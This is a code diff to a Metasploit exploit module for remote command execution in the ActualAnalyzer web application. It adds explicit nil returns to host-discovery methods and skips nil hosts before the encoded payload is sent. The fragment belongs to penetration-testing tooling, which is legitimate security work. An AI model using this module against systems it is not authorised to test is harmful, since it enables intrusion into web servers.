return nil

modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb

@@ -123,6 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
     else
       vprint_status("#{peer} - Could not find any hosts on view.php")
     end
+    nil
   end
 
   #
@@ -144,6 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote
     else
       vprint_status("#{peer} - Could not find any hosts on code.php")
     end
+    nil
   end
 
   #
@@ -207,6 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote
     else
       vprint_status("#{peer} - Could not find any hosts on admin.php")
     end
+    nil
   end
 
   def execute_command(cmd, opts = { :analytics_host => vhost })
@@ -228,6 +231,7 @@ class Metasploit3 < Msf::Exploit::Remote
     else
       fail_with(Failure::Unknown, "#{peer} - Something went wrong")
     end
+    nil
   end
 
   def exploit
@@ -243,6 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote
       analytics_hosts << datastore['ANALYZER_HOST']
     end
     analytics_hosts.uniq.each do |host|
+      next if host.nil?
       vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
       break if execute_command(payload.encoded, { :analytics_host => host })
     end